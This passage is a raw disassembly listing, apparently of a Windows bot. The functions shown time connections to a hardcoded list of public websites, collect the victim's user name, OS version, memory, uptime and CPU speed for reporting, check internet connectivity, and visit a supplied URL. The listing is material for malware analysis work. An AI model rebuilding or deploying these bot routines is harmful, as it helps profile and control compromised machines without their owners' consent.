		fmul	flt_43C4F4
		fst	[ebp+arg_0]
		fcomp	flt_43C4F0
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41B2E2
		fld1
		fstp	[ebp+arg_0]

loc_41B2E2:				; CODE XREF: sub_41B161+17Aj
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		push	[ebp+var_8]
		call	sub_41C9D0
		push	esi
		call	sub_41C9D0
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_43C4EC
		fmul	flt_43C4E8
		call	sub_4201DC

loc_41B31C:				; CODE XREF: sub_41B161+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B321:				; CODE XREF: sub_41B161+147j
		push	[ebp+var_4]
		call	dword_4E3120	; closesocket
		push	[ebp+var_8]
		call	sub_41C9D0
		push	esi
		call	sub_41C9D0
		pop	ecx
		pop	ecx

loc_41B33A:				; CODE XREF: sub_41B161+19j
					; sub_41B161+42j ...
		xor	eax, eax
		jmp	short loc_41B31C
sub_41B161	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B33E	proc near		; CODE XREF: sub_401C87+2E57p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41B147
		push	[ebp+eax*4+var_3C]
		call	sub_41B161
		push	8
		mov	esi, eax
		call	sub_41B147
		push	[ebp+eax*4+var_3C]
		call	sub_41B161
		add	esp, 10h
		test	esi, esi
		jz	short loc_41B43F
		test	eax, eax
		jz	short loc_41B43B
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41B441
; ---------------------------------------------------------------------------

loc_41B43B:				; CODE XREF: sub_41B33E+F4j
		mov	ebx, esi
		jmp	short loc_41B441
; ---------------------------------------------------------------------------

loc_41B43F:				; CODE XREF: sub_41B33E+F0j
		mov	ebx, eax

loc_41B441:				; CODE XREF: sub_41B33E+FBj
					; sub_41B33E+FFj
		push	0Ch
		call	sub_41B147
		push	[ebp+eax*4+var_6C]
		call	sub_41B161
		push	0Ch
		mov	edi, eax
		call	sub_41B147
		push	[ebp+eax*4+var_6C]
		call	sub_41B161
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B479
		test	eax, eax
		jz	short loc_41B475
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41B47B
; ---------------------------------------------------------------------------

loc_41B475:				; CODE XREF: sub_41B33E+12Ej
		mov	esi, edi
		jmp	short loc_41B47B
; ---------------------------------------------------------------------------

loc_41B479:				; CODE XREF: sub_41B33E+12Aj
		mov	esi, eax

loc_41B47B:				; CODE XREF: sub_41B33E+135j
					; sub_41B33E+139j
		push	6
		call	sub_41B147
		push	[ebp+eax*4+var_1C]
		call	sub_41B161
		push	6
		mov	edi, eax
		call	sub_41B147
		push	[ebp+eax*4+var_1C]
		call	sub_41B161
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B4B3
		test	eax, eax
		jz	short loc_41B4AF
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41B4B5
; ---------------------------------------------------------------------------

loc_41B4AF:				; CODE XREF: sub_41B33E+168j
		mov	ecx, edi
		jmp	short loc_41B4B5
; ---------------------------------------------------------------------------

loc_41B4B3:				; CODE XREF: sub_41B33E+164j
		mov	ecx, eax

loc_41B4B5:				; CODE XREF: sub_41B33E+16Fj
					; sub_41B33E+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B4C2
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B4C5
; ---------------------------------------------------------------------------

loc_41B4C2:				; CODE XREF: sub_41B33E+17Bj
		push	2
		pop	edi

loc_41B4C5:				; CODE XREF: sub_41B33E+182j
		test	esi, esi
		jz	short loc_41B4CD
		add	eax, esi
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------

loc_41B4CD:				; CODE XREF: sub_41B33E+189j
		dec	edi

loc_41B4CE:				; CODE XREF: sub_41B33E+18Dj
		test	ecx, ecx
		jz	short loc_41B4D6
		add	eax, ecx
		jmp	short loc_41B4D7
; ---------------------------------------------------------------------------

loc_41B4D6:				; CODE XREF: sub_41B33E+192j
		dec	edi

loc_41B4D7:				; CODE XREF: sub_41B33E+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_4515B0
		push	eax
		call	sub_41EA60
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415A3C
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B51B	proc near		; CODE XREF: sub_401C87+255Ap
					; sub_401C87+29DEp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset dword_451610
		mov	esi, offset dword_4F336C
		push	32h
		push	esi
		call	sub_41EC30
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41B51B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B56E	proc near		; CODE XREF: sub_41786C+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4F539C	; GetVersionExA
		test	eax, eax
		jz	short loc_41B600
		cmp	[ebp+var_90], 4
		jnz	short loc_41B5D6
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B5BE
		cmp	[ebp+var_84], 1
		jnz	short loc_41B5B0
		inc	esi

loc_41B5B0:				; CODE XREF: sub_41B56E+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B600
		xor	esi, esi
		inc	esi
		jmp	short loc_41B600
; ---------------------------------------------------------------------------

loc_41B5BE:				; CODE XREF: sub_41B56E+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B5CB

loc_41B5C7:				; CODE XREF: sub_41B56E+77j
		push	2
		jmp	short loc_41B5FF
; ---------------------------------------------------------------------------

loc_41B5CB:				; CODE XREF: sub_41B56E+57j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B600
		jmp	short loc_41B5F0
; ---------------------------------------------------------------------------

loc_41B5D6:				; CODE XREF: sub_41B56E+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B600
		cmp	[ebp+var_8C], esi
		jz	short loc_41B5C7
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B5F4

loc_41B5F0:				; CODE XREF: sub_41B56E+66j
		push	3
		jmp	short loc_41B5FF
; ---------------------------------------------------------------------------

loc_41B5F4:				; CODE XREF: sub_41B56E+80j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B600
		push	7

loc_41B5FF:				; CODE XREF: sub_41B56E+5Bj
					; sub_41B56E+84j
		pop	esi

loc_41B600:				; CODE XREF: sub_41B56E+25j
					; sub_41B56E+49j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B56E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B605	proc near		; CODE XREF: sub_41B6C1+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41B60D:				; CODE XREF: sub_41B605+35j
					; sub_41B605+3Bj
		call	sub_41BA3E
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	dword_4F534C	; Sleep
		call	sub_41BA3E
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	sub_421480
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41B60D
		jb	short loc_41B642
		cmp	ebx, esi
		ja	short loc_41B60D

loc_41B642:				; CODE XREF: sub_41B605+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4214F0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41B6B5
		jb	short loc_41B661
		cmp	esi, 50h
		jnb	short loc_41B666

loc_41B661:				; CODE XREF: sub_41B605+55j
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41B666:				; CODE XREF: sub_41B605+5Aj
		test	ecx, ecx
		ja	short loc_41B6B5
		jb	short loc_41B671
		cmp	esi, 47h
		jnb	short loc_41B676

loc_41B671:				; CODE XREF: sub_41B605+65j
		push	42h
		xor	edx, edx
		pop	eax

loc_41B676:				; CODE XREF: sub_41B605+6Aj
		test	ecx, ecx
		ja	short loc_41B6B5
		jb	short loc_41B681
		cmp	esi, 37h
		jnb	short loc_41B686

loc_41B681:				; CODE XREF: sub_41B605+75j
		push	32h
		xor	edx, edx
		pop	eax

loc_41B686:				; CODE XREF: sub_41B605+7Aj
		test	ecx, ecx
		ja	short loc_41B6B5
		jb	short loc_41B691
		cmp	esi, 26h
		jnb	short loc_41B696

loc_41B691:				; CODE XREF: sub_41B605+85j
		push	21h
		xor	edx, edx
		pop	eax

loc_41B696:				; CODE XREF: sub_41B605+8Aj
		test	ecx, ecx
		ja	short loc_41B6B5
		jb	short loc_41B6A1
		cmp	esi, 1Eh
		jnb	short loc_41B6A6

loc_41B6A1:				; CODE XREF: sub_41B605+95j
		push	19h
		xor	edx, edx
		pop	eax

loc_41B6A6:				; CODE XREF: sub_41B605+9Aj
		test	ecx, ecx
		ja	short loc_41B6B5
		jb	short loc_41B6B1
		cmp	esi, 0Ah
		jnb	short loc_41B6B5

loc_41B6B1:				; CODE XREF: sub_41B605+A5j
		xor	eax, eax
		xor	edx, edx

loc_41B6B5:				; CODE XREF: sub_41B605+53j
					; sub_41B605+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B605	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6C1	proc near		; CODE XREF: sub_401C87+2732p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset word_4F339E
		mov	[ebp+var_CC], 94h
		call	dword_4F539C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B748
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B724
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B70E
		mov	[ebp+var_4], offset dword_45161C

loc_41B70E:				; CODE XREF: sub_41B6C1+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B7C3
		mov	[ebp+var_4], offset dword_451620
		jmp	short loc_41B794
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6C1+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B736
		mov	[ebp+var_4], offset dword_451624
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B736:				; CODE XREF: sub_41B6C1+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B784
		mov	[ebp+var_4], offset dword_451628
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B748:				; CODE XREF: sub_41B6C1+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B784
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B762
		mov	[ebp+var_4], offset dword_45162C
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B762:				; CODE XREF: sub_41B6C1+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B774
		mov	[ebp+var_4], offset dword_451630
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------

loc_41B774:				; CODE XREF: sub_41B6C1+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B78B

loc_41B784:				; CODE XREF: sub_41B6C1+7Cj
					; sub_41B6C1+8Ej
		mov	[ebp+var_4], offset a??? ; "???"

loc_41B78B:				; CODE XREF: sub_41B6C1+73j
					; sub_41B6C1+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B7C3

loc_41B794:				; CODE XREF: sub_41B6C1+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B7C3
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_6	; "%s (%s)"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41B7C3:				; CODE XREF: sub_41B6C1+54j
					; sub_41B6C1+D1j ...
		mov	ax, word_451648
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4E2F68
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_41B7FC
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_41B7FC:				; CODE XREF: sub_41B6C1+12Cj
		push	[ebp+arg_4]
		call	sub_40AEAD
		pop	ecx
		push	eax
		call	dword_4E30C8	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_4E3040	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B825
		push	dword ptr [eax]
		jmp	short loc_41B82A
; ---------------------------------------------------------------------------

loc_41B825:				; CODE XREF: sub_41B6C1+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41B82A:				; CODE XREF: sub_41B6C1+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41EA60
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_4F53D8	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_4F53D4	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4F5468	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41ED30
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_41738D
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41B51B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41727E
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41727E
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B605
		push	edx
		push	eax
		push	offset dword_451680
		push	200h
		push	[ebp+arg_0]
		call	sub_41EC30
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B6C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B975	proc near		; CODE XREF: sub_401C87+2760p
					; sub_401C87+7350p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		cmp	dword_4E316C, 0
		jnz	short loc_41B9E9
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4E2F4C	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41B9CA
		lea	eax, [ebp+var_8C]
		push	offset dword_45175C
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_41B9CA:				; CODE XREF: sub_41B975+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_41B9E2
		push	offset dword_45176C

loc_41B9D8:				; CODE XREF: sub_41B975+72j
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	short loc_41BA0B
; ---------------------------------------------------------------------------

loc_41B9E2:				; CODE XREF: sub_41B975+5Cj
		push	offset off_451774
		jmp	short loc_41B9D8
; ---------------------------------------------------------------------------

loc_41B9E9:				; CODE XREF: sub_41B975+28j
		lea	eax, [ebp+var_8]
		push	offset off_451778
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_8C]
		push	offset off_45177C
		push	eax
		call	sub_41EA60
		add	esp, 10h

loc_41BA0B:				; CODE XREF: sub_41B975+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_451780
		push	200h
		push	[ebp+arg_0]
		call	sub_41EC30
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B975	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3E	proc near		; CODE XREF: sub_41B605:loc_41B60Dp
					; sub_41B605+1Cp
		rdtsc
		retn
sub_41BA3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA41	proc near		; DATA XREF: sub_401C87+77BBo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_4517C4
		call	sub_41E4B0
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41E4B0
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4E2F84	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41BBE1
		cmp	[ebp+var_34], ebx
		jbe	short loc_41BB18
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_41BB18:				; CODE XREF: sub_41BA41+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41BB36
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_41BB36:				; CODE XREF: sub_41BA41+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41BB50
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_41BB50:				; CODE XREF: sub_41BA41+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41BB6A
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_41BB6A:				; CODE XREF: sub_41BA41+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4E3038
		call	dword_4E305C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BBF7
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4E3050	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41BBFE
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4E2FFC	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_41BBDA
		push	offset dword_4517C8
		jmp	short loc_41BC09
; ---------------------------------------------------------------------------

loc_41BBDA:				; CODE XREF: sub_41BA41+190j
		push	offset unk_4517E4
		jmp	short loc_41BC09
; ---------------------------------------------------------------------------

loc_41BBE1:				; CODE XREF: sub_41BA41+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_451820
		push	eax
		call	sub_41EA60
		mov	esi, [ebp+var_C]
		jmp	short loc_41BC0F
; ---------------------------------------------------------------------------

loc_41BBF7:				; CODE XREF: sub_41BA41+153j
		push	offset unk_45183C
		jmp	short loc_41BC03
; ---------------------------------------------------------------------------

loc_41BBFE:				; CODE XREF: sub_41BA41+17Bj
		push	offset unk_451868

loc_41BC03:				; CODE XREF: sub_41BA41+1BBj
		lea	eax, [ebp+var_55C]

loc_41BC09:				; CODE XREF: sub_41BA41+197j
					; sub_41BA41+19Ej
		push	eax
		call	sub_41EA60

loc_41BC0F:				; CODE XREF: sub_41BA41+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41BC3C
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409C75
		add	esp, 14h

loc_41BC3C:				; CODE XREF: sub_41BA41+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	esi
		call	dword_4E30BC	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4E30BC	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41BA41	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BC70	proc near		; CODE XREF: sub_401000+38p
					; .packed:004011F1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41BC90

loc_41BC7C:				; CODE XREF: sub_41BC70+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BCC3
		test	ecx, 3
		jnz	short loc_41BC7C
		add	eax, 0

loc_41BC90:				; CODE XREF: sub_41BC70+Aj
